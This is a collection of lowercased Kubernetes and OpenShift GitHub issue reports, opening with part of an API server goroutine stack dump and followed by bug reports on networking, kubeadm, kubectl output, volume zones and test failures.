\t0x472d931\tgithub.com/openshift/origin/pkg/cmd/server/origin.cachecontrolfilter.func1+0xc1\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/handlers.go:20\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x45980b6\tgithub.com/openshift/origin/pkg/assets/apiserver.withassetserverredirect.func1+0x86\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/assets/apiserver/asset_apiserver.go:321\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x472e8b0\tgithub.com/openshift/origin/pkg/cmd/server/origin.withpatternprefixhandler.func1+0xd0\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/master.go:364\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x472e8b0\tgithub.com/openshift/origin/pkg/cmd/server/origin.withpatternprefixhandler.func1+0xd0\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/pkg/cmd/server/origin/master.go:364\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x3a52470\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server.  apiserverhandler .servehttp+0x50\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/handler.go:198\r  \t0x71f8b1\tnet/http.serverhandler.servehttp+0x91\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:2568\r  \t0x7212b2\tnet/http.initnpnrequest.servehttp+0x92\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:3088\r  \t0x746493\tnet/http.  initnpnrequest .servehttp+0x73\t\t\t\t\t\t\t\t\t<autogenerated>:312\r  \t0x73da1c\tnet/http. handler .servehttp-fm+0x4c\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/h2_bundle.go:4331\r  \t0x6f6198\tnet/http.  http2serverconn .runhandler+0x88\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/h2_bundle.go:4611\r \r 6393 @ 0x430bea 0x440054 0x43ecbc 0x922fe4 0x91f073 0x91eba0 0x9035e9 0x728979 0x100586c 0x6d29d2 0x6d2658 0x6d3cf4 0x1011f0d 0x10127f0 0x14d8bf1 0x3b6a1f5 0x3b72a6e 0x16be369 0x3db59ce 0x3db502a 0x25ef382 0x25f13a1 0x25f13a1 0x25ee695 0x38c28d4 0x71cfa4 0x170d10f 0x71cfa4 0x38cefe9 0x71cfa4 0x38d08bb 0x71cfa4\r  \t0x922fe3\tgithub.com/openshift/origin/vendor/golang.org/x/net/http2.  clientconn .roundtrip+0xb83\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/golang.org/x/net/http2/transport.go:835\r  \t0x91f072\tgithub.com/openshift/origin/vendor/golang.org/x/net/http2.  transport .roundtripopt+0x172\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/golang.org/x/net/http2/transport.go:339\r  \t0x91eb9f\tgithub.com/openshift/origin/vendor/golang.org/x/net/http2.  transport .roundtrip+0x3f\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/golang.org/x/net/http2/transport.go:301\r  \t0x9035e8\tgithub.com/openshift/origin/vendor/golang.org/x/net/http2.nodialh2roundtripper.roundtrip+0x38\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/golang.org/x/net/http2/configure_transport.go:75\r  \t0x728978\tnet/http.  transport .roundtrip+0xaf8\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/transport.go:349\r  \t0x100586b\tgithub.com/openshift/origin/vendor/k8s.io/client-go/transport.  useragentroundtripper .roundtrip+0x10b\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/transport/round_trippers.go:162\r  \t0x6d29d1\tnet/http.send+0x161\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/client.go:249\r  \t0x6d2657\tnet/http.  client .send+0x107\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/client.go:173\r  \t0x6d3cf3\tnet/http.  client .do+0x253\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/client.go:595\r  \t0x1011f0c\tgithub.com/openshift/origin/vendor/k8s.io/client-go/rest.  request .request+0x2cc\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/rest/request.go:824\r  \t0x10127ef\tgithub.com/openshift/origin/vendor/k8s.io/client-go/rest.  request .do+0xbf\t\t\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/client-go/rest/request.go:898\r  \t0x14d8bf0\tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/clientset_generated/clientset/typed/core/v1.  secrets .get+0x170\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/client/clientset_generated/clientset/typed/core/v1/secret.go:69\r  \t0x3b6a1f4\tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/serviceaccount.clientgetter.getsecret+0xc4\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/serviceaccount/tokengetter.go:49\r  \t0x3b72a6d\tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/controller/serviceaccount.  clientgetter .getsecret+0x7d\t\t\t\t<autogenerated>:2\r  \t0x16be368\tgithub.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/serviceaccount.  jwttokenauthenticator .authenticatetoken+0xf18\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/kubernetes/pkg/serviceaccount/jwt.go:288\r  \t0x3db59cd\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/token/union.  unionauthtokenhandler .authenticatetoken+0x9d\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/token/union/union.go:55\r  \t0x3db5029\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/token/cache.  cachedtokenauthenticator .authenticatetoken+0x99\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/token/cache/cached_token_authenticator.go:71\r  \t0x25ef381\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/bearertoken.  authenticator .authenticaterequest+0x191\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/bearertoken/bearertoken.go:55\r  \t0x25f13a0\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/union.  unionauthrequesthandler .authenticaterequest+0x90\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/union/union.go:57\r  \t0x25f13a0\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/union.  unionauthrequesthandler .authenticaterequest+0x90\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/request/union/union.go:57\r  \t0x25ee694\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/group.  authenticatedgroupadder .authenticaterequest+0x54\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/authentication/group/authenticated_group_adder.go:40\r  \t0x38c28d3\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1+0x83\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:55\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x170d10e\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request.withrequestcontext.func1+0xee\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/endpoints/request/requestcontext.go:110\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x38cefe8\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.withcors.func1+0x188\t\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/cors.go:75\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r  \t0x38d08ba\tgithub.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters.withpanicrecovery.func1+0x11a\t\t\t\t\t\t/builddir/build/build/atomic-openshift-git-0.7c71a2d/_output/local/go/src/github.com/openshift/origin/vendor/k8s.io/apiserver/pkg/server/filters/wrap.go:41\r  \t0x71cfa3\tnet/http.handlerfunc.servehttp+0x43\t\t\t\t\t\t\t\t\t\t\t\t\t\t/usr/lib/golang/src/net/http/server.go:1942\r    \r \r this is very similar to https://github.com/kubernetes/kubernetes/issues/53361, although that was watches, and this has a different symptoms.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r creating an nlb service  with v1.9+  in kubernetes registers instances by instance id, which  limits the instance types  http://docs.aws.amazon.com/elasticloadbalancing/latest/network/target-group-register-targets.html register-deregister-targets  to only newer instance classes. a new service annotation would be the obvious way to enable target registration by ip address.

hello, \r k8s 1.9.7 on gke\r \r today we've upgraded one of our deployments, this update did a few things  can be seen from diffs of the attached pod yaml files  but at a high level, it:\r \r   - updated some labels\r   - removed istio-sidecar container  2 from the pod\r   - removed the init container\r \r after the deployment was rolled out, and the pods were healthy, the old replicaset was never scaled down and we were left with two lots of pods running, old and new.\r \r we have ci/cd pushing the exact same helm chart to four entirely separate clusters  all same version of k8 , and we saw exactly the same behaviour on all of the clusters, leading me to believe this is quite repeatable.\r \r i have attached a tar file which contains:\r \r   - a copy of the deployment\r   - a copy of both replicasets\r   - a copy of both pods, from the replicasets\r \r i hope this helps to debug, please let me know if i can get you any further information.  unfortunately i've had to forcefully remove the bad replicasets now though.\r \r  strange.tar.gz  https://github.com/kubernetes/kubernetes/files/2018490/strange.tar.gz \r

\r get https://kubernetes.default/apis/prow.k8s.io/v1/namespaces/default/prowjobs?labelselector=: x509: certificate is valid for hcp-kubernetes, kubernetes, kubernetes.default.svc, kubernetes.default.svc.cluster.local, hcp-kubernetes.5ae8e942048c2a0001097578.svc.cluster.local, acse-test-infrastructure-ci-bot-61041a9a.hcp.eastus.azmk8s.io, not kubernetes.default\r    \r @kubernetes/sig-azure-misc how can that happen?\r \r cc @cecilerobertmichon

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r pod won't start. in logs its giving an following error messages:\r \r failed create pod sandbox: rpc error: code = unknown desc = failed to start sandbox container for pod \ kube-flannel-ds-amd64-l2xjb\ : error response from daemon: network host not found\r \r mountvolume.setup failed for volume \ xtables-lock\  : open /run/xtables.lock: the system cannot find the path specified.\r \r when we look in \ logs from kube-flannel\   we see the message\r get https://172.27.108.241:10250/containerlogs/kube-system/kube-flannel-ds-amd64-l2xjb/kube-flannel?taillines=5000&timestamps=true: dial tcp 172.27.108.241:10250: i/o timeout\r \r   what you expected to happen  :\r pod sandboxes created with no error  messages.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r we are attempting to have a window node with linux  ubuntu master node  and flannel network\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:54:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.2\ , gitcommit:\ 17c77c7898218073f14c8d573582e8d2313dc740\ , gittreestate:\ clean\ , builddate:\ 2018-10-24t06:43:59z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r hardware configuation\r - os  e.g. from /etc/os-release :\r kernel version:\r 10.0.17134.407\r os image:\r windows 10 pro\r container runtime version:\r docker://18.6.1\r kubelet version:\r v1.12.2\r kube-proxy version:\r v1.12.2\r operating system:\r windows\r architecture:\r amd64 \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i ran:\r  kubeadm upgrade plan \r \r   what you expected to happen  :\r i expected it to tell me about the upgrade plan, instead it told me i am up to date.\r \r    \r  preflight  running pre-flight checks.\r  upgrade  making sure the cluster is healthy:\r  upgrade/config  making sure the configuration is correct:\r  upgrade/config  reading configuration from the cluster...\r  upgrade/config  fyi: you can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -oyaml'\r  upgrade  fetching available versions to upgrade to\r  upgrade/versions  cluster version: v1.13.5\r  upgrade/versions  kubeadm version: v1.14.0\r \r awesome, you're up-to-date! enjoy!\r    \r   how to reproduce it  as minimally and precisely as possible   :\r run kubeadm upgrade plan on a 1.13 node.\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :1.13.5\r - cloud provider or hardware configuration:vmware vm\r - os  e.g:  cat /etc/os-release  :\r ame=\ container linux by coreos\ \r id=coreos\r version=2023.5.0\r version_id=2023.5.0\r build_id=2019-03-09-0138\r pretty_name=\ container linux by coreos 2023.5.0  rhyolite \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://issues.coreos.com\ \r coreos_board=\ amd64-usr\ \r \r - kernel  e.g.  uname -a  :\r linux k8c03.hsv.dealnews.net 4.19.25-coreos  1 smp sat mar 9 01:05:06 -00 2019 x86_64 intel r  xeon r  cpu e5645 @ 2.40ghz genuineintel gnu/linux\r - install tools:kubeadm\r - others:\r

the problem is that docker is managed by systemd and so the configuration files which are written in master.sh and worker.sh are ignored.  i have a change locally that fixes this, but need to polish it.  @resouer @dalanlan @brendandburns

i want  to collector k8s's  logs. so when i use --help like   kubelet --help:   it showed that with the flag:  --log-dir   i can  write logs into the specificed directory.  i tried it with the command :  kubelet --log-dir=\ /app/logs/\   and some other flags,such as --alsologtostderr=true   , of course i create  the directory before. but it doesn't work.nothing created in the directory.  i run a k8s cluster by starting binary files but not systemctl service.  so i really wonder how to  use it.

summary  because  kubectl get ns -o name  always return names with a prefix like  namespace/default , it cannot be directly used to iterate over all namespaces to execute other commands.    version  i've compiled from source:      $ kubectl version client version: version.info{major:\ 1\ , minor:\ 4+\ , gitversion:\ v1.4.0-alpha.0.661+d4ae9ca53dc88a-dirty\ , gitcommit:\ d4ae9ca53dc88aa43c7b2fcc2a6aab1105746f0a\ , gittreestate:\ dirty\ , builddate:\ 2016-06-23t17:02:00z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.3.0-alpha.3-599-g2746284\ , gitcommit:\ 2fe486f\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.5.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }        details  reviewing some scripts, i came across a usage of  kubectl  like this:      kubectl get ns -o jsonpath='{.items   .metadata.name}'      that line fetches namespace names to later run in a  for  loop:      kubectl -n \ ${ns}\  get pods -o json > \ ${ns}/pods.json\       that seemed to be a perfect use case for the  -o name  flag, but it can't be used without extra hacks to get rid of the  namespace/  prefix  fwiw,  kubectl -n namespace/default ...  is invalid .    proposed solution  changing the current output of  kubectl get ns -o name  might not be possible or desirable, for this could impact existing users that rely on the output format.  if i'm wrong about the above limitation, than it would make sense to output just the name when  -o name  and there is a single resource type, while using the ideas introduced in  27379 to show the resource type  only when there is more than one type in the output, or when  --show-kind  is explicitly set.     example  before:      console $ kubectl get ns -o name namespace/default namespace/demo      after:      console $ kubectl get ns -o name default demo          console $ kubectl get ns -o name --show-kind namespace/default namespace/demo          console $ kubectl get ns,svc -o name namespace/default namespace/demo service/mysql

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/32160/kubernetes-pull-build-test-e2e-gce/58668/  failed:  k8s.io  disruptioncontroller evictions: enough pods, absolute => should allow an eviction {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:169 expected error:     < errors.errorstring | 0xc8204d2eb0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/disruption.go:140      happened on a presubmit run in  32160.

is this a bug report or feature request?    choose one : bug report    kubernetes version    use  kubectl version  : v1.5.0-alpha.0-1414-g7f63058    environment  : -   cloud provider or hardware configuration  : docker 1.12.2 -   os    e.g. from /etc/os-release : ubuntu 14.04.3 lts -   kernel    e.g.  uname -a  :  linux mesosslave 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux     what happened  : failed to start  kube-proxy .      i1014 12:23:21.507832    1170 server.go:218  using userspace proxier. i1014 12:23:21.529335    1170 server.go:238  tearing down pure-iptables proxy rules. i1014 12:23:21.540265    1170 conntrack.go:40  setting nf_conntrack_max to 131072 i1014 12:23:21.540758    1170 conntrack.go:57  setting conntrack hashsize to 32768 error: write /sys/module/nf_conntrack/parameters/hashsize: operation not supported write /sys/module/nf_conntrack/parameters/hashsize: operation not supportedflag --resource-container has been deprecated, this feature will be removed in a later release.        anything else do we need to know  : i found this issue when running  kube-mesos  e2e test   https://github.com/kubernetes-incubator/kube-mesos-framework/issues/41  . any suggestion is welcome : .

\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : dynamic volume provisioning\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-22t13:59:22z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5\ , gitversion:\ v1.5.1\ , gitcommit:\ 82450d03cb057bab0950214ef122b67c83fb11df\ , gittreestate:\ clean\ , builddate:\ 2016-12-14t00:52:01z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os    e.g. from /etc/os-release : coreos 1185.5.0\r -   kernel    e.g.  uname -a  : linux ip-10-0-1-121.ec2.internal 4.7.3-coreos-r3  1 smp wed dec 7 09:29:55 utc 2016 x86_64 intel r  xeon r  cpu e5-2676 v3 @ 2.40ghz genuineintel gnu/linux\r -   install tools  :  kaws  https://github.com/inquicker/kaws \r -   others  :\r \r \r   what happened  :\r \r created a stateful set with a persistent volume claim. dynamic volume provisioning created an ebs volume in the us-east-1a availability zone, despite all the masters and nodes in the cluster being in us-east-1e. i tried it twice with the same results both times.\r \r the pvc:\r \r    \r $ kubectl describe pvc -n errbit\r name:\t\tmongodb-mongodb-0\r namespace:\terrbit\r storageclass:\tstandard\r status:\t\tbound\r volume:\t\tpvc-5fc8e90b-c8aa-11e6-9924-069508572ed2\r labels:\t\tapp=errbit\r \t\tcomponent=mongodb\r capacity:\t1gi\r access modes:\trwo\r no events.\r    \r \r the pv created by dynamic provisioning:\r \r    \r $ kubectl describe pv\r name:\t\tpvc-5fc8e90b-c8aa-11e6-9924-069508572ed2\r labels:\t\tfailure-domain.beta.kubernetes.io/region=us-east-1\r \t\tfailure-domain.beta.kubernetes.io/zone=us-east-1a\r storageclass:\tstandard\r status:\t\tbound\r claim:\t\terrbit/mongodb-mongodb-0\r reclaim policy:\tdelete\r access modes:\trwo\r capacity:\t1gi\r message:\r source:\r     type:\tawselasticblockstore  a persistent disk resource in aws \r     volumeid:\taws://us-east-1a/vol-0d32c25dc73f029af\r     fstype:\text4\r     partition:\t0\r     readonly:\tfalse\r no events.\r    \r \r the stateful set:\r \r    \r $ kubectl describe statefulset mongodb -n errbit\r name:\t\t\tmongodb\r namespace:\t\terrbit\r image s :\t\tmongo:3.4.0\r selector:\t\tapp=errbit,component=mongodb\r labels:\t\t\tapp=errbit,component=mongodb\r replicas:\t\t1 current / 1 desired\r annotations:\t\tkubectl.kubernetes.io/last-applied-configuration={\ kind\ :\ statefulset\ ,\ apiversion\ :\ apps/v1beta1\ ,\ metadata\ :{\ name\ :\ mongodb\ ,\ namespace\ :\ errbit\ ,\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ errbit\ ,\ component\ :\ mongodb\ }},\ spec\ :{\ replicas\ :1,\ template\ :{\ metadata\ :{\ creationtimestamp\ :null,\ labels\ :{\ app\ :\ errbit\ ,\ component\ :\ mongodb\ }},\ spec\ :{\ containers\ : {\ name\ :\ mongodb\ ,\ image\ :\ mongo:3.4.0\ ,\ args\ : \ --auth\  ,\ ports\ : {\ name\ :\ mongodb\ ,\ containerport\ :27017} ,\ resources\ :{},\ volumemounts\ : {\ name\ :\ mongodb\ ,\ mountpath\ :\ /data/db\ } } }},\ volumeclaimtemplates\ : {\ metadata\ :{\ name\ :\ mongodb\ ,\ creationtimestamp\ :null},\ spec\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 1gi\ }}},\ status\ :{}} ,\ servicename\ :\ mongodb\ },\ status\ :{\ replicas\ :0}}\r creationtimestamp:\tthu, 22 dec 2016 16:53:24 -0800\r pods status:\t\t0 running / 1 waiting / 0 succeeded / 0 failed\r no volumes.\r events:\r   firstseen\tlastseen\tcount\tfrom\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t-------------\t--------\t------\t\t\t-------\r   12m\t\t12m\t\t1\t{statefulset }\t\t\tnormal\t\tsuccessfulcreate\tpet: mongodb-0\r   11m\t\t11m\t\t1\t{statefulset }\t\t\tnormal\t\tsuccessfulcreate\tpvc: mongodb-mongodb-0\r    \r \r the stateful set's pod, pending due to the volume being in the wrong zone:\r \r    \r $ kubectl describe pod mongodb-0 -n errbit\r name:\t\tmongodb-0\r namespace:\terrbit\r node:\t\t/\r labels:\t\tapp=errbit\r \t\tcomponent=mongodb\r status:\t\tpending\r ip:\r controllers:\tstatefulset/mongodb\r containers:\r   mongodb:\r     image:\tmongo:3.4.0\r     port:\t27017/tcp\r     args:\r       --auth\r     volume mounts:\r       /data/db from mongodb  rw \r       /var/run/secrets/kubernetes.io/serviceaccount from default-token-mdqdk  ro \r     environment variables:\t<none>\r conditions:\r   type\t\tstatus\r   podscheduled \tfalse\r volumes:\r   mongodb:\r     type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r     claimname:\tmongodb-mongodb-0\r     readonly:\tfalse\r   default-token-mdqdk:\r     type:\tsecret  a volume populated by a secret \r     secretname:\tdefault-token-mdqdk\r qos class:\tbesteffort\r tolerations:\t<none>\r events:\r   firstseen\tlastseen\tcount\tfrom\t\t\tsubobjectpath\ttype\t\treason\t\t\tmessage\r   ---------\t--------\t-----\t----\t\t\t-------------\t--------\t------\t\t\t-------\r   15m\t\t15m\t\t3\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolume 'pvc-a5f5e714-c8a8-11e6-9924-069508572ed2' not found, which is unexpected., schedulerpredicates failed due to persistentvolume 'pvc-a5f5e714-c8a8-11e6-9924-069508572ed2' not found, which is unexpected. \r   14m\t\t14m\t\t1\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\t schedulerpredicates failed due to persistentvolumeclaim is not bound: \ mongodb-mongodb-0\ , which is unexpected., schedulerpredicates failed due to persistentvolumeclaim is not bound: \ mongodb-mongodb-0\ , which is unexpected. \r   14m\t\t2s\t\t52\t{default-scheduler }\t\t\twarning\t\tfailedscheduling\tpod  mongodb-0  failed to fit in any node\r fit failure summary on nodes : novolumezoneconflict  2 \r    \r \r the nodes, all in us-east-1e:\r \r    \r $ kubectl describe nodes | grep zone\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-east-1e\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-east-1e\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-east-1e\r \t\t\tfailure-domain.beta.kubernetes.io/zone=us-east-1e\r    \r \r   what you expected to happen  :\r \r dynamic volume provisioning should have created the required volume in the us-east-1e availability zone.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r add the following storage class to the cluster:\r \r     yaml\r ---\r kind: \ storageclass\ \r apiversion: \ storage.k8s.io/v1beta1\ \r metadata:\r   name: \ standard\ \r   annotations:\r     storageclass.beta.kubernetes.io/is-default-class: \ true\ \r provisioner: \ kubernetes.io/aws-ebs\ \r parameters:\r   type: \ gp2\ \r   encrypted: \ true\ \r    \r \r create the following stateful set and service:\r \r     yaml\r ---\r kind: \ namespace\ \r apiversion: \ v1\ \r metadata:\r   name: \ errbit\ \r ---\r kind: \ service\ \r apiversion: \ v1\ \r metadata:\r   name: \ mongodb\ \r   namespace: \ errbit\ \r   labels:\r     app: \ errbit\ \r     component: \ mongodb\ \r spec:\r   ports:\r     - name: \ mongodb\ \r       port: 27017\r   clusterip: \ none\ \r   selector:\r     app: \ errbit\ \r     component: \ mongodb\ \r ---\r kind: \ statefulset\ \r apiversion: \ apps/v1beta1\ \r metadata:\r   name: \ mongodb\ \r   namespace: \ errbit\ \r   labels:\r     app: \ errbit\ \r     component: \ mongodb\ \r spec:\r   servicename: \ mongodb\ \r   replicas: 1\r   template:\r     metadata:\r       labels:\r         app: \ errbit\ \r         component: \ mongodb\ \r     spec:\r       containers:\r         - name: \ mongodb\ \r           image: \ mongo:3.4.0\ \r           args:\r             - \ --auth\ \r           ports:\r             - containerport: 27017\r               name: \ mongodb\ \r           volumemounts:\r             - name: \ mongodb\ \r               mountpath: \ /data/db\ \r   volumeclaimtemplates:\r     - metadata:\r         name: \ mongodb\ \r       spec:\r         accessmodes:\r           - \ readwriteonce\ \r         resources:\r           requests:\r             storage: \ 1gi\ \r

kubectl create deployment  and  kubectl run  are both supposed to support the same options for creating a deployment.   kubectl run  is meant to be a little more discoverable for docker users, but provide the exact same functionality.\r \r we need to bring the 2 in parity.\r \r   note:  \r - common flags should be factored into a common structure consumed by both\r - business logic should be factored into a common library invoked by both\r -  kubectl run  supports jobs, pods, etc so the two are not exactly the same.\r \r once this is done for deployment, we should do something similar for factoring out job and pod.\r \r cc @kubernetes/sig-cli-bugs \r \r @karsinkk this seems like a good one to get started on.  @jessfraz will be your point of contact.\r \r @jessfraz would you shepherd @karsinkk on this issue?

